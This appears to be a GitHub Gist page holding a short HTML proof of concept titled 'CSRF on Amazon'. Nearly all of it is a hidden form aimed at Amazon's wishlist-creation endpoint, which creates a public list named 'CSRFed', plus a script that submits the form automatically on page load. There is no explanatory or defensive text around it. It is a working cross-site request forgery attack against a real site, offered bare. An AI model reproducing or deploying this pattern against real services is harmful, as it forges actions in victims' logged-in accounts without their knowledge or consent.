Skip to content

Instantly share code, notes, and snippets.

@yujikosuga

yujikosuga/amazon_csrf.html

Created October 15, 2012 06:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yujikosuga/3891102 to your computer and use it in GitHub Desktop.
Save yujikosuga/3891102 to your computer and use it in GitHub Desktop.
Download ZIP
CSRF on Amazon
Raw
amazon_csrf.html
<html>
<body>
<form name="form" method="post" action="http://www.amazon.com/gp/registry/wishlist/ref=cm_wl_rlist_create">
<input type="hidden" name="dest-list" value="new-wishlist">
<input type="hidden" name="no-update" value="1">
<input type="hidden" name="movecopy" value="createnew">
<input type="hidden" name="sourceVendorId" value="website.wishlist.profile">
<input type="hidden" name="list-name" value="CSRFed">
<input type="hidden" name="isPrivate" value="N">
<input type="hidden" name="submit.movecopy.x" value="35">
<input type="hidden" name="submit.movecopy.y" value="14">
</form>
<script>
document.form.submit();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment